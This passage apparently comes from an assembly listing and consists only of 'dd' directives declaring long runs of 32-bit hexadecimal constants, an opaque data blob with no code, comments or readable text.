dd 2728CDD5h, 3BCC20A0h, 0FA025EF2h, 477003FAh, 752E653Dh
dd 0FBD0ADC8h, 282A8572h, 14218C72h, 0A0360CCFh, 1F00C289h
dd 5B8656A2h, 0BBDF48h, 63FE0A12h, 0E973604h, 3A2CACA4h
dd 946E58EBh, 0C70384F8h, 0AB440953h, 1C50AFh, 113BCD3Eh
dd 0EB00430Dh, 0D1B645B3h, 74DAB2h, 0AD841F4Bh, 8ED4D83Dh
dd 4C117E2Ch, 4B665A89h, 2CAD88ECh, 0DFC900BEh, 0D96B99D8h
dd 0F2187224h, 146984AAh, 1244000Bh, 0CBF45AEEh, 57EC4203h
dd 98B72300h, 0EAA54C1Dh, 0FDC9CEA6h, 0CFC3F494h, 3FD09D8Bh
dd 9F481E55h, 8CCA1618h, 0E8F84804h, 0E6A4C812h, 21DD250Fh
dd 4821906Ah, 0EBD0D288h, 3C50FC32h, 39808E02h, 46DC7294h
dd 52014B58h, 0D6688834h, 0C5FCC077h, 250F4400h, 6FF8C756h
dd 34838008h, 933D8499h, 608F468Ah, 69468965h, 0A37CD054h
dd 518840Eh, 5D8CF22h, 0BC0058D3h, 0A86CB2Ah, 186C7445h
dd 8F2D0A3h, 85602430h, 0FD59CA10h, 0A9E890h, 0F3F0930Dh
dd 262460ACh, 526A20C7h, 25D6C757h, 53060011h, 0F01D1B1Fh
dd 29C0678Ch, 0CC6B0981h, 7270C4CAh, 8B2346BCh, 0C5620069h
dd 80611C78h, 590C37E9h, 28D4CED1h, 5D0422BDh, 2BA4261Ah
dd 0C98F06B8h, 41E2C020h, 49EAC783h, 0CA1CCF7Fh, 70F77F17h
dd 7C79D4E6h, 56A8876h, 58509D00h, 0F62C1C7Ch, 83B2069Ch
dd 0A8152D0Ch, 0A3232603h, 0E9847E22h, 198C4AF9h, 30C9096Dh
dd 1EF2C400h, 72859604h, 0E2F806E1h, 98E3C64Bh, 34B1A863h
dd 0CDA900BFh, 0D66BB12h, 0BD3D67AEh, 10E100E4h, 0FFCE8298h
dd 78B180CBh, 0A25F105h, 5800836Ah, 0D8F00506h, 8010549Fh
dd 8CC453C3h, 0E2540607h, 0C00F4167h, 46BC5723h, 0EB00218Ch
dd 2B1E9D52h, 12E95DF4h, 4A32B8CFh, 608C4C00h, 0FCC4BAD7h
dd 0E81C9031h, 489DA43Eh, 83072050h, 1DF8298Fh, 0C4489425h
dd 35F9FF7h, 0C87F895Ch, 98A40BE2h, 9CF24112h, 3F45D5Eh
dd 1B34927Ch, 0F97B17D9h, 0D47C2EC2h, 0D051D318h, 0F0990204h
dd 1DABBE39h, 950A2600h, 0B1270011h, 0C5075A4Ah, 6E0AEC55h
dd 7C9EC4E7h, 79B14E18h, 687E422h, 6698323Dh, 0EE63207Ah
dd 704F2481h, 61C40529h, 81C84599h, 41153A66h, 81CB7238h
dd 43066891h, 78226D1Dh, 0C8B737Ah, 0BE2D1675h, 0DA1F29B9h
dd 33C17CCAh, 43EF020Eh, 0AC274C45h, 0E6316870h, 286A0582h
dd 5F91CF6h, 40666D84h, 4C477D98h, 9D009F14h, 8D5B455Dh
dd 2048AC4h, 0F761933Dh, 0C30470F3h, 0CE4B0A03h, 2123A918h
dd 4C66D9h, 5A348742h, 7081B018h, 641DD90Ch, 3017685Ch
dd 30B9F18Dh, 0AA3F0669h, 8E298AD3h, 0BD88C8A0h, 51CA85FEh
dd 6A8C210Ch, 978110C9h, 0E4E4A8FCh, 0EF1D138Ch, 34304685h
dd 6D0129F5h, 37A0EC44h, 0D45CFD0Ah, 3857166h, 0B2B9D246h
dd 5915F2F1h, 3F8802E2h, 71C078C3h, 0A959ECF6h, 7543001Ah
dd 4F7EAFCBh, 0A41E0D38h, 0C0642B47h, 0BD761741h, 0A844D312h
dd 57452100h, 0CE1DD462h, 0E94B6FC6h, 10A41F64h, 68F7C0C4h
dd 719C70DDh, 0A220025h, 0B93892B4h, 317DFD2Fh, 923DC420h
dd 41A76434h, 60854F65h, 0E7934576h, 0F25E0179h, 0C963AE2Eh
dd 0F0DCE49Bh, 809438D1h, 7192E67Eh, 0A0E87947h, 28206AACh
dd 4464FB98h, 0EB004575h, 5EB91865h, 70B7F20Bh, 0A80A859h
dd 29856A71h, 66A50051h, 8D1314C2h, 2B60C549h, 5A808CB7h
dd 0C914BB49h, 0EC7510D5h, 0BCD329A2h, 95067E00h, 2C8E72EBh
dd 0A410A5h, 3FF7FC3Eh, 4A29C4BCh, 0EF08A01Eh, 0E45200CBh
dd 0FF065F7Bh, 0C71E43FEh, 5AC0B15Eh, 7432193Fh, 6B683077h
dd 0F5058138h, 0C6C8A888h, 8C7A7F0h, 0E43452h, 0FA1FE314h
dd 0C3993Fh, 9A5EF4B5h, 0C25879E1h, 486E98A9h, 8F0054E0h
dd 0C99EE3D5h, 1D7983AEh, 0C07EBFDBh, 0B4EC382Fh, 202954C0h
dd 0BD0DC092h, 0C892F847h, 14702225h, 6D4460C6h, 74264C6Ah
dd 0FA801388h, 0D3B73B58h, 0D7ED3B07h, 1C33A981h, 5050CFBFh
dd 0B67F6A90h, 0FD2BD309h, 66A0909Bh, 1C0D0525h, 8027B83Bh
dd 1A08354Ch, 0D9B54601h, 7997AC7Ch, 823ACC34h, 0F630E020h
dd 0AB0475C6h, 430B9C03h, 88CDA4C8h, 0A60FEC7Ah, 208975DFh
dd 1213C95Eh, 8BBB00CFh, 0E78599A4h, 44E1BD35h, 0EEFC907Ch
dd 10998917h, 51C7D30Ch, 0E91E0DEAh, 410FBBFh, 3124DDD4h
dd 10E409F8h, 0FD241790h, 342B0A4h, 71FC3D2Ah, 33CC4109h
dd 0D96C00ECh, 0EC6F01D1h, 0CC0E5810h, 20B3AB8Eh, 8A8E52C0h
dd 4278C3Ah, 4A7F82B5h, 99588096h, 0D0C51418h, 0FBE485C0h
dd 0A13C5BE8h, 61A6007Ah, 0C21DA5B6h, 0F4A05895h, 0EE801788h
dd 0F4970A20h, 96400090h, 0B8ED2B31h, 0D3636A13h, 3423F1h
dd 0E397BB71h, 0BF18CF9Fh, 0EA6AC00Fh, 0CDCCC7D9h, 0AE462330h
dd 2AE0B29Bh, 0E8416D2h, 787E7A33h, 93CFE5A0h, 6701E891h
dd 0A6BF9CD1h, 77F84263h, 7469016Fh, 6E8C2837h, 50B057FBh
dd 0C89CF81Fh, 0B04F9415h, 0FAB811C0h, 54770A15h, 0F9AEF5C2h
dd 0D32A140h, 814F2A1Dh, 25085440h, 7E21BA4Ch, 30A8D68Dh
dd 18D0E960h, 90A89100h, 0B4595827h, 0E5BE0146h, 0D8A40469h
dd 8699884h, 90368F08h, 0D0100DAh, 14A97516h, 0F2434CAh
dd 0A64AC92h, 69F3185Fh, 5A0068B4h, 0A1EE1D4Dh, 99C7B7B3h
dd 247C2AACh, 80206223h, 5989CDF2h, 3C9AA1C5h, 0E5516C60h
dd 0B8E93E8Eh, 0CEC10015h, 44F045D4h, 7B09EC85h, 22CB9846h
dd 0C80B8D10h, 0CE51B7D0h, 902D61h, 0E77C53BCh, 1D12D418h
dd 904764h, 0B33F1EE8h, 495C3B1Fh, 80F288F4h, 3FA7F339h
dd 7F0429BDh, 0FE4FCD9Fh, 3802DC84h, 0C8F176B7h, 4CBDA490h
dd 14B09CFFh, 2D037CE2h, 8895AC8Bh, 0DC408FEAh, 13E1B690h
dd 190167EEh, 1033B1BCh, 7E689Eh, 617C105Bh, 0EFE98AAh
dd 0B2093Eh, 0F0ED9C07h, 90881C2Eh, 500224C4h, 0C86A6594h
dd 4C908B74h, 88EC3000h, 0D9B63848h, 485FECB1h, 0AC4D90ADh
dd 204BECA1h, 0E9002A25h, 26D45D01h, 52F7D38Dh, 0C1008063h
dd 1355EC22h, 0BF2EC5D0h, 0A060F815h, 16F6AE8Dh, 44EAA6D2h
dd 44F393E0h, 4B24CBDh, 84D85168h, 88F9CF81h, 1A224C78h
dd 892D4487h, 0E1EA8500h, 78C64154h, 0D2260766h, 0B0747743h
dd 0CBF68B98h, 0F400E49Bh, 48B16630h, 8D40005Eh, 0D282A37Bh
dd 0C433883Ah, 11F3600Fh, 248A4799h, 0D940CC6Dh, 0E2ED8366h
dd 0F7A5261Ah, 0B47C4484h, 8AFFC74Ch, 0C4164941h, 511F4F42h
dd 0C40C00B8h, 6B354265h, 7C91E726h, 0E28E2041h, 2422C049h
dd 0BD7E5500h, 0D880CDADh, 2EF138h, 0CC59FCB3h, 93A1312h
dd 8BD20A91h, 6C742098h, 3EDAB702h, 578A8DEh, 0BCDC00EEh
dd 9D7CD88Eh, 0C3379F12h, 4A00585Dh, 0EE40730Bh, 6E421Ch
dd 0F9C6914Ch, 381FB7E5h, 0E700410Fh, 0F69D79D4h, 0F9A06099h
dd 0E8B01540h, 0B181D091h, 0C450EE4Ah, 52F0BAC6h, 0EC550774h
dd 4076BC6Dh, 5FF08F51h, 88D4334Ch, 32D58C0Ah, 0B00BB28h
dd 77FD4C0Ch, 243F12F1h, 87686836h, 941DD069h, 2E3CE424h
dd 0F90440Fh, 0C83AA016h, 2673A19Bh, 8D0260Dh, 6C07867Fh
dd 0E68E0F74h, 122F210h
dd 9922C6CDh, 29E97F20h, 208C27A0h, 83B23F8Ch, 4AE8B04Eh
dd 0AD2832CCh, 990B9580h, 869828FFh, 9842FA00h, 7E40FCEDh
dd 656A09F5h, 0C8C9A43Bh, 3F4441D3h, 822EE06Fh, 4015800h
dd 0BF0CB0D5h, 0BDE0C11Fh, 37A419EBh, 837C3E84h, 181F12B5h
dd 0D823E0EEh, 0DCC9023Ch, 93FDDB62h, 7358900Bh, 3F2A00AFh
dd 0E71E13E5h, 8403E67Bh, 5446D287h, 7E73B837h, 430D03A5h
dd 500C6CD6h, 2F1FD1E7h, 0F0188655h, 8A497h, 653442F4h
dd 437C0E89h, 4BEB21C0h, 0E65E279Bh, 4F740002h, 9693D636h
dd 940CA2DEh, 59A554EEh, 0F408C16Ah, 804DA68Dh, 0CE890218h
dd 4FE02Dh, 7D81510Ah, 1D841E94h, 0A6469E06h, 0C06888CDh
dd 0C9CC4238h, 326F5BD2h, 8ED8D41h, 0C02455CCh, 68F79129h
dd 18005D9Fh, 3DF1DC3Bh, 0E7D16Ch, 64668C84h, 5256EC1Dh
dd 0C45E31C0h, 3716CE4Fh, 135893FAh, 0E11F261Ah, 0C1F1D443h
dd 7980A78Eh, 784858CCh, 99001449h, 4489B794h, 19E18A2Eh
dd 29B3D48Dh, 10A85101h, 8AFC0936h, 3FD60165h, 2FED6DFEh
dd 5F618049h, 0B3BB3B36h, 64050016h, 83EF998Fh, 0F403EAF5h
dd 0A0B943Ch, 997098h, 1C50B56Ch, 1D2F8B79h, 0F0B4CA06h
dd 108C9DFh, 0AE6EFFBAh, 438C2172h, 50E06AFDh, 913080BCh
dd 6E88313Ah, 0BC195F94h, 0ED1879C4h, 0A3596D67h, 196038Dh
dd 63EF3972h, 0CA8BC4A8h, 0E8052D01h, 2ECF540Ch, 44C5488Ch
dd 3300A451h, 2AEB8C22h, 3E9FF01h, 54BB73DFh, 899BCA1Ch
dd 0D6B869F0h, 0C06E760Ch, 6055B1EDh, 0FC50400Fh, 0D600FF3Bh
dd 0AB70C5B2h, 3AD26D0h, 0F181CDCh, 281401A2h, 4C544443h
dd 604D30DEh, 71A6D9h, 436533DEh, 5F70B0DFh, 0B722F908h
dd 38C2030h, 0C5588DDCh, 39012618h, 0F95CCE46h, 1086EE50h
dd 91BFAF1Fh, 50A43778h, 8FC61D09h, 35A2805Fh, 7665FD7Dh
dd 8AE06EFh, 315E1E72h, 0B2C944h, 0E2534F29h, 749AFEB7h
dd 78088A30h, 0CE4CFDB3h, 92293670h, 0F0FA1480h, 1A0039B7h
dd 1FC67532h, 0C02C84FDh, 7A346A30h, 58C66B26h, 0F808C567h
dd 0AEEA0706h, 0F00F335Dh, 93A4453Dh, 38B058DFh, 0A841A879h
dd 6F4743D0h, 358A39C7h, 0B311B180h, 28A1028h, 5D0D1C17h
dd 907E416Eh, 24624004h, 8D016720h, 1FEA2783h, 41841AC3h
dd 4C0D3EC5h, 3146B12Dh, 0BAC63F94h, 67298A68h, 7680DC79h
dd 88DDCC12h, 91DB0084h, 588074A1h, 9C494310h, 3049240Ch
dd 0A1073991h, 3350202Bh, 49007B68h, 3769C4AEh, 4C106FFBh
dd 0CD1EA9F5h, 839DC3BAh, 9851FC4Dh, 0A10AFF52h, 30E04A54h
dd 0BCF0B881h, 21BD27B2h, 8017709Ch, 697A8E32h, 81C440C5h
dd 58C1C6E3h, 9F49862h, 0C83B04C9h, 0C0241683h, 6AACB7A6h
dd 64512D14h, 8D3C80ACh, 98F41E57h, 80BD0A49h, 80BC4EA6h
dd 0E54CBB48h, 0D300BCEDh, 0F0764406h, 9BC22Dh, 1B269315h
dd 41AFA2A3h, 67419EEBh, 45C46643h, 0B1780Bh, 8B46DE7Ch
dd 277589D2h, 403F4428h, 0B61DA200h, 2833ED3Eh, 8A79211Bh
dd 22654502h, 0E24443F9h, 6014448Dh, 89500955h, 530F9182h
dd 844BFEC8h, 8C91CB35h, 0B7F08AD1h, 0A19CA47Ch, 3C409B30h
dd 453BA3h, 35E63F5Bh, 5657986Ch, 8E210E60h, 37C16Eh, 7962602Fh
dd 94F64B43h, 238A3C1Ch, 241BCF42h, 2DC444B9h, 0B9D03230h
dd 942DF528h, 5400AF74h, 29ED7A4Bh, 19EA21Bh, 151370BAh
dd 81BF683Bh, 1A11B289h, 80E00E6Ah, 809166h, 52F66598h
dd 8500A295h, 6EC91606h, 1EA5B1E3h, 716F17BAh, 0B59148h
dd 1E83F97h, 3CEB7675h, 8A124BC6h, 982CC5F9h, 9035CE80h
dd 1AE3BCh, 66E6BBE7h, 0EA303470h, 1C68D3Ch, 0D72A8238h
dd 94208F18h, 4C9A6Ch, 0B6FEB29Ch, 0D2C6B66h, 10BDC424h
dd 1FC9E702h, 348491BBh, 9121E4E1h, 0B4006405h, 2D541E87h
dd 3FC518E7h, 37B8990Ah, 91795D09h, 35381056h, 0DC8B5213h
dd 59C2637Ch, 0D4D87A4Eh, 77007223h, 0B675223Ch, 13BBED35h
dd 0F25AFA5h, 0E3233BC1h, 380041F4h, 0A334B7B8h, 980B8D60h
dd 0AB0920Bh, 7A6806ECh, 0EA98879Ch, 2DE82048h, 0E093B71h
dd 199F0A2h, 6B20025Ah, 8AC0B830h, 3A413042h, 0BE5C3108h
dd 0CEED00C9h, 683943A2h, 0AF59C074h, 58472E8Fh, 0C0921B00h
dd 1AB45227h, 91F901F7h, 0D4FDD0EDh, 37898F1Ch, 0A43CE932h
dd 6A403828h, 605CBB45h, 3B33300Bh, 2BA824D7h, 0B9FC3052h
dd 0C3006A2Ah, 7C425F88h, 8D32FEh, 6F0C8EA0h, 7AC953F2h
dd 0D16C253Bh, 826800ACh, 89000E9Ah, 77E438FFh, 2CD6B997h
dd 6000D718h, 6BB2B0CEh, 0BE69C700h, 400A314Fh, 463E04F8h
dd 81618614h, 1238CDE0h, 0DF5410A3h, 0E8646900h, 8610C03Fh
dd 2A1A03F9h, 35BF9BB8h, 1C6A3003h, 0E0094E44h, 54B2BB70h
dd 0FE5AC1Eh, 2232CE6h, 0F7B8A120h, 0B228E860h, 9344E08Ch
dd 0A4BF0088h, 0F63AC836h, 2D13DA04h, 20BEDh, 2E6FC076h
dd 755B5E5h, 0B770037Ch, 1FC4103Eh, 0D600C6B3h, 4ABD2F28h
dd 7D9B8D0h, 0BAED48B9h, 49FD60DBh, 0EE042DC8h, 2F9E445Dh
dd 68B518C2h, 0ED54BCh, 188CDF3Fh, 558A7692h, 1BFE903h
dd 0E580E026h, 30B780C8h, 0BAA06B2Eh, 0A924FCE1h, 0BC404464h
dd 0C00337h, 0DF9BEA2h, 27AC811Ah, 620E5800h, 0F6E44BD9h
dd 3BB7A9Eh, 0B104DFF4h, 0D100C655h, 0FCA11FBEh, 0D7E3A2Bh
dd 54D0B323h, 171022ACh, 0C461A779h, 0F050FBB2h, 6A5C49h
dd 328E2B79h, 7E76EC19h, 4DE6FE00h, 5E86559Bh, 734412F0h
dd 0EDCC4B4Eh, 0C7059418h, 5AD33200h, 18F719EAh, 0A820070h
dd 7791DDA4h, 0CB02D458h, 148B6A83h, 6BF8401Dh, 9E43801Bh
dd 6A497665h, 9448D887h, 65808C67h, 725CA0F8h, 320173E6h
dd 7D9A3424h, 0D8C4AA5Ah, 0D48B146Bh, 0B918E46Ch, 3D3041CFh
dd 19623472h, 221CEE70h, 0E02A9F41h, 0A4222512h, 1F532011h
dd 8400C2CEh, 38946A31h, 0FC9EBB0h, 97759E4Ch, 0AFAB0B36h
dd 0C8C23E84h, 0D50046ACh, 0E6056CCh, 855CBh, 3D8C7349h
dd 0E0504A78h, 0BA7D151Fh, 0AFD0B642h, 67504053h, 78C0503Dh
dd 2CF08893h, 24EB5501h, 0D21D36C5h, 0C3347CD0h, 515D5476h
dd 0E49030EAh, 2F0FE43Fh, 8B7DD681h, 0E07893BBh, 0F25CD3B3h
dd 562A1992h, 0D5BC79A1h, 4100E7ADh, 0B75F52D7h, 501FC840h
dd 67904Ah, 11F61297h, 4CDE3074h, 0DFE8AA00h, 0EF8B546Ah
dd 3BAC3740h, 0D9C67041h, 18090423h, 0E74F9Ah, 65B72D4Ch
dd 0ED59026Bh, 0B0249C49h, 0BA50F8A1h, 0A10A304Ah, 61A36A01h
dd 4555960Bh, 1751C70h, 74792C99h, 64B1E047h, 5202CA20h
dd 970D66CEh, 46186027h, 0AB2C3185h, 604D3008h, 61C29CB8h
dd 0E4C28F1Ch, 95B30014h, 0AFC17C5h, 8C170CBAh, 0EE0066A7h
dd 0D472D348h, 0B9980219h, 5592DBB7h, 0C4FDCC48h, 794BC5Ch
dd 0A56B3B9Dh, 2546C631h, 361F4C34h, 2871BEC4h, 76AF8B0Bh
dd 19400215h, 0DC52B3h, 7F2F0D5Ch, 8EDF8F67h, 6C55E211h
dd 0A9128500h, 0E77DAE63h, 0CB0060F4h, 969DD9BEh, 0A380A7Ah
dd 0B4D2904h, 0C3550CBCh, 51047C39h, 900AC18Eh, 0F26512C0h
dd 0E0FD2EEEh, 2D6701E4h, 4B203E4Eh, 7C6D11A0h, 88C1B450h
dd 0D70A09C5h, 0A4B749D6h, 96814210h, 81477FA8h, 0DA550CD9h
dd 4684B092h, 0A05E9944h, 0FA4CB3A8h, 5F598024h, 1D767177h
dd 40E35155h, 8DB2231Bh, 0D104BF29h, 0C27F4A22h, 396758A4h
dd 8A3DE148h
dd 2BAC0581h, 0C0790AB5h, 0D0B5E9CEh, 0B97898C6h, 0E8C60708h
dd 0A834815Fh, 809CF04Ch, 9416A622h, 617B406Ch, 6C071210h
dd 6716DFEFh, 582F9601h, 28000831h, 4A12C649h, 0B8BC4029h
dd 35C56B57h, 2A4851C3h, 62B7E0C3h, 0EDD40445h, 0C250A281h
dd 28207B80h, 9202F2h, 396F4A7Ah, 6A58756h, 0EDB9BD01h
dd 42C26D6Eh, 0D851A0h, 48571179h, 6907B224h, 0BAA36B05h
dd 0E8C0987Fh, 0A20C44C6h, 3811C048h, 0E04026A3h, 0FB1E0441h
dd 0BAC0C36Eh, 60FDE4C1h, 0D40123ACh, 0EE582275h, 5870C1F9h
dd 30C940F1h, 0B4D55526h, 3022AB1Eh, 0C29137C5h, 0D23B04F1h
dd 78358083h, 2AF22BE3h, 0BE5A07B0h, 0D96848B8h, 79E71C8Fh
dd 438538A2h, 2802C347h, 8406082Dh, 3053E8ACh, 4A6DA2B4h
dd 0DBEF6409h, 363E800Dh, 1647F5ABh, 0F1B5DD6h, 1D255A4h
dd 359D93FEh, 0C0D8386Bh, 29E5ED83h, 0DBD20F2Fh, 0B96130EBh
dd 85BFA255h, 2313C598h, 0D6FE9821h, 0CC637461h, 5800D443h
dd 862B3263h, 75000DECh, 1030D5B3h, 16AB8F5Ah, 42AA46Fh
dd 44B4B098h, 55492690h, 947010C8h, 0E493B500h, 0C19E37D4h
dd 832B2E2Ch, 36170389h, 8FF8ECDFh, 0DA0B6A01h, 26B30A3h
dd 82C545C4h, 283BA92Ch, 24C911CCh, 0E5E4D8B2h, 0D124B346h
dd 0DE12E100h, 0ED65899Dh, 1D297EA1h, 4A66A227h, 60EC63CBh
dd 0E71A68Dh, 1CFB5A03h, 0D09523B5h, 0C4C4BA24h, 0B412C5C9h
dd 0EE0954D0h, 0A5E0DB49h, 2400C288h, 79AAA7D6h, 1EFB1F63h
dd 0E9B94416h, 186888C5h, 0A3BE5304h, 11804320h, 0F9E28B14h
dd 0CF006023h, 0F1EE533Ch, 0CD4B2409h, 0C60B1449h, 0C04200E8h
dd 4C3CC457h, 6C0443ADh, 981B3895h, 35007CE3h, 1E755A28h
dd 340014CDh, 4CDFF2B9h, 9AAF898Bh, 22454B4Ch, 0CC66A2F0h
dd 38B1BD28h, 70FB60EEh, 83001653h, 1D692F43h, 25F33A6Eh
dd 4027B3D5h, 560E500Ah, 6A00BBDCh, 5BE83999h, 0B0BEE051h
dd 0B51F1988h, 2967716Dh, 784807FCh, 12C0BCE8h, 7E3E94h
dd 0EFB3B957h, 0FA509E47h, 2453C0Bh, 0C438098Fh, 72830794h
dd 0D179AB38h, 0E9F8F6F9h, 0B5882007h, 808C585Ch, 45C34BD6h
dd 4AF0C398h, 790A9268h, 0B7159940h, 0FE12FD39h, 0D832A778h
dd 9A7B3048h, 2A22FE0Fh, 0DB54A01Bh, 0DD2576h, 4162E4EDh
dd 4669A934h, 4037B826h, 80DF5302h, 10D47990h, 44A6C89Ch
dd 1878E253h, 0BE1922B3h, 5F281F9Dh, 0A45E40E9h, 3E4278C4h
dd 144C717Eh, 0E73F8600h, 0E3BE44A8h, 0A84CC105h, 0EC632D59h
dd 0C480A1A2h, 26FC46FAh, 2540188Bh, 14C0C81Ah, 0B026493h
dd 0B03C8847h, 28712Dh, 7566DCB8h, 0EC1D679Ch, 2580A195h
dd 64E55519h, 80AC9456h, 9CA58577h, 0B81D2B6Eh, 2DCFF159h
dd 64C1364Dh, 88406BDFh, 80B57340h, 3B8921B3h, 678FCh
dd 0B143A07Eh, 0AF2C6EF4h, 0CB545D3Ah, 8D798045h, 309BD432h
dd 9509AC54h, 4867E8B9h, 0F65CE4h, 2B264C6Bh, 0C53ABC9Ch
dd 45411F67h, 18D0F210h, 0BE8300B1h, 0F9E165ABh, 350327DFh
dd 0B0560AC4h, 44C89D3Ch, 0C7EE1E51h, 0D12AC0F1h, 0E44B7730h
dd 47217400h, 3BDF9C6Fh, 37CE4F1Fh, 42D04574h, 0A24E44BCh
dd 891D8451h, 5E00B1DFh, 30860F95h, 6E170064h, 0F8C69616h
dd 2A013662h, 80BCED73h, 14384D8Ch, 472EA491h, 8A8B6FE4h
dd 0C01440ABh, 9077AF46h, 11462108h, 0ACFECD02h, 0A7452C5h
dd 85F2E470h, 0A91019Eh, 0C83B113Fh, 4EB0DFE9h, 0B8A148ECh
dd 542956h, 0C29BEA1h, 9CC204B7h, 7C059FC8h, 0D0802F3Eh
dd 0BCE9EDDFh, 5D5EA369h, 0B1E34C23h, 42E04B05h, 0E4AF00D3h
dd 8AEB3031h, 1901CF12h, 0E046E32Ch, 58238B80h, 0C5E54906h
dd 7200693Eh, 405474F2h, 0EA1FB24Ch, 23833DD7h, 0C56924FEh
dd 2C9340C4h, 980001B2h, 13A5A6EDh, 5A0AFBDFh, 0EF071C1h
dd 790C01F6h, 25FA4A18h, 989B4418h, 0A89F79C1h, 9A696510h
dd 0BD449988h, 1D972C00h, 5FEB4B16h, 48EF8003h, 0E17DF0FBh
dd 6440C217h, 1C1AB265h, 4057C5EDh, 6172483Ch, 0EE02AFFAh
dd 8E53B82Eh, 9CFCD044h, 0A8744038h, 51005975h, 220AD06Bh
dd 7545A64Ah, 0C3970B3Ah, 600BF210h, 0CD1F3CA2h, 6750FCE4h
dd 0DC010564h, 1791B78Dh, 93208C08h, 0DE84BBAh, 359A3084h
dd 9C3364h, 0B0EA43F7h, 1F3D7761h, 12DAF00Fh, 4A5800B8h
dd 6230E0BDh, 0C7556618h, 11D1071h, 0C0FCE3EAh, 50C6279Dh
dd 3F92DD64h, 2FFBF00h, 0EE88D468h, 0CB70CEh, 9620FE1Fh
dd 54D2DFECh, 2C834C99h, 0D0783284h, 31B599Bh, 5F257CD5h
dd 0CED03B9Eh, 0E501C1ADh, 2A8FC7DFh, 0C31FEEEh, 0E96E9C20h
dd 0C6D43004h, 5C1FADA2h, 6C9F9552h, 82943200h, 0E6A30617h
dd 3C514856h, 58AFB900h, 67EB1D96h, 1CCC49h, 0FC1B6021h
dd 73D886F7h, 31855BD7h, 6C3C8FA0h, 6DBB8098h, 5A4317h
dd 0A52CF386h, 0ED89B31Eh, 0B69F6500h, 443BCB58h, 528CBE4Ah
dd 38AE1760h, 0FF11E300h, 0AB7DF7D3h, 3CF61236h, 2164DCF3h
dd 0A0308E41h, 256200CDh, 6B34B847h, 0C417CAA3h, 0B020C56Ah
dd 202B28Dh, 5C868C30h, 0BC413977h, 0A1A068A3h, 2F886BBh
dd 7647002Eh, 6BF9DF4Fh, 1507FC2Ch, 4514E382h, 13C63DE1h
dd 0C8015C44h, 468DF85Fh, 0E82678CDh, 90B32D12h, 906C9AE4h
dd 0EE673102h, 0C256C180h, 6BD811FCh, 3B43E4CCh, 8780F6D6h
dd 397FB37h, 0E600F5BCh, 0A0B49AD2h, 0E8D3805h, 2A3F1E55h
dd 1CEEF189h, 8B1C4176h, 841BAA6h, 8D28121Ah, 0D6DD2A30h
dd 472C8C20h, 0A7883101h, 492AD779h, 0FE6AA042h, 0C90270Bh
dd 0AE000EAFh, 51622720h, 9EEC248h, 4943C49Ch, 28B0E600h
dd 59016AE0h, 7AD0DFEDh, 0C474B6AFh, 4E018643h, 0E74ABAEDh
dd 3870E66Ah, 6BD205EEh, 82C0C9F3h, 0F027F4DCh, 0EC74C170h
dd 0CB4B01C7h, 56B8D19Fh, 60F431EEh, 389C1248h, 0DF74E140h
dd 0CE2F01A2h, 37D6BF56h, 41A0D8F9h, 0E78DD700h, 0C4B89C5Bh
dd 9F470049h, 9D72ED1Dh, 0DC000F64h, 0A4E4CAD5h, 0CD2A81h
dd 87559A61h, 0F163D4F9h, 57BB3F0Ah, 0B8208058h, 0B49E3C28h
dd 3783458h, 0AFC93641h, 888DDC43h, 9030D2F4h, 0B1334BAh
dd 5F8B220h, 0F64E8F1Dh, 81D35E80h, 0EDC11F4Dh, 61AB412Ah
dd 0F835310Ch, 0ECA5C2B8h, 0A2568400h, 138F8CC4h, 86D8BB3h
dd 998AC918h, 0F11CD345h, 0F9CB4F40h, 7CF35AE4h, 51660930h
dd 5051D334h, 2855F200h, 0F7FEE0A3h, 3800BDE3h, 84BA7C75h
dd 5EA8003Dh, 23D236FBh, 2C2CE8DBh, 490774B6h, 4A2047BBh
dd 901AF4E3h, 7C6158B8h, 82D56C0h, 0A700B8B1h, 0A4CA4AE4h
dd 0B7CF2Fh, 3BA1948Dh, 0FD4074B4h, 0C555B518h, 12D0179h
dd 926CC48Fh, 0ECC6E19Ch, 861677CBh, 0CC88D1A8h, 3C000A5h
dd 0AE996E8h, 0F67F26AFh, 1C788D00h, 0BC0BBF32h, 0C5EC127Dh
dd 0CC6024F9h, 1A01F894h, 74FCFF6Ah, 0D5FFC09Ch, 2A93D81Fh
dd 80431808h, 7586FB79h, 19011CEFh, 1B7F3062h, 0E6D4C5CEh
dd 172FFC46h, 30FE2DBCh, 0D63E81C8h, 951D1B0Bh, 0A54843Ch
dd 0C5DFB941h, 0B508403Dh, 7F225D54h, 0C4C0811Dh, 6ACBD410h
dd 0AB672700h, 445E1D84h, 19D014FFh, 1F172098h, 45B4C8B7h
dd 0BD35360Fh, 51B08D69h, 7D6B0BF0h, 0BAEA0E6Eh, 4C61EE65h
dd 7847440Fh, 0C5A38804h, 14ECB34Ch, 0C088C871h, 0D58D8376h
dd 92EE1C74h, 12C40021h, 0E0A794AEh, 7CB82D3Fh, 90B52425h
dd 16D3C5ECh, 841B9943h
dd 0CED48010h, 0C704FBFEh, 0A479DC51h, 0CDD0C8h, 243F3A02h
dd 72F36AEFh, 452C477h, 4A450598h, 90C02836h, 0B8847A2h
dd 562A824Bh, 33698848h, 3E181300h, 0D194AFC6h, 23240258h
dd 41541275h, 39009059h, 0D5B2A75Dh, 85580194h, 0BD2CCC44h
dd 0D9483034h, 0FF80D899h, 0F485D521h, 0FCC73253h, 1CE89D70h
dd 51CE8067h, 0EA87A068h, 4D89D2h, 0D981A9BBh, 0D66C5B98h
dd 319F4927h, 281911B8h, 0C1418FFCh, 8443C8A5h, 526E170h
dd 9C9D4B40h, 8BA404ADh, 35960110h, 98306848h, 47C2450Dh
dd 64807830h, 57D654CEh, 4226003Eh, 0E539CD2Dh, 0FD31B91Fh
dd 0A1889BCh, 0E4202C17h, 94C45480h, 483486A8h, 942C6862h
dd 6BE094BEh, 1F7B110h, 4B283A21h, 0DC15F2B6h, 0CE16A2A4h
dd 54060346h, 3159BE48h, 1379C3A0h, 22642317h, 7684866Ch
dd 63FB042Bh, 0C37C2D6Dh, 9BB2451Eh, 9498E062h, 30FAC04h
dd 0A91209C9h, 80488E2Fh, 91809D43h, 6CC54889h, 60B04982h
dd 0A41030A0h, 1500A798h, 95BC29DEh, 0E29CAD3Dh, 99440945h
dd 58100BF7h, 32D05CDh, 0FB405B2h, 0A06A1C80h, 90F651FBh
dd 0B985C047h, 2FC698C2h, 0CD3A680h, 0B2E868E9h, 0CCC5E11Fh
dd 20C46915h, 0CB2820E2h, 0EF4A301Eh, 633EC6C4h, 3B5B8A0h
dd 24A6F2D0h, 2920DCB9h, 0E4D45837h, 224DF711h, 5A91002Ah
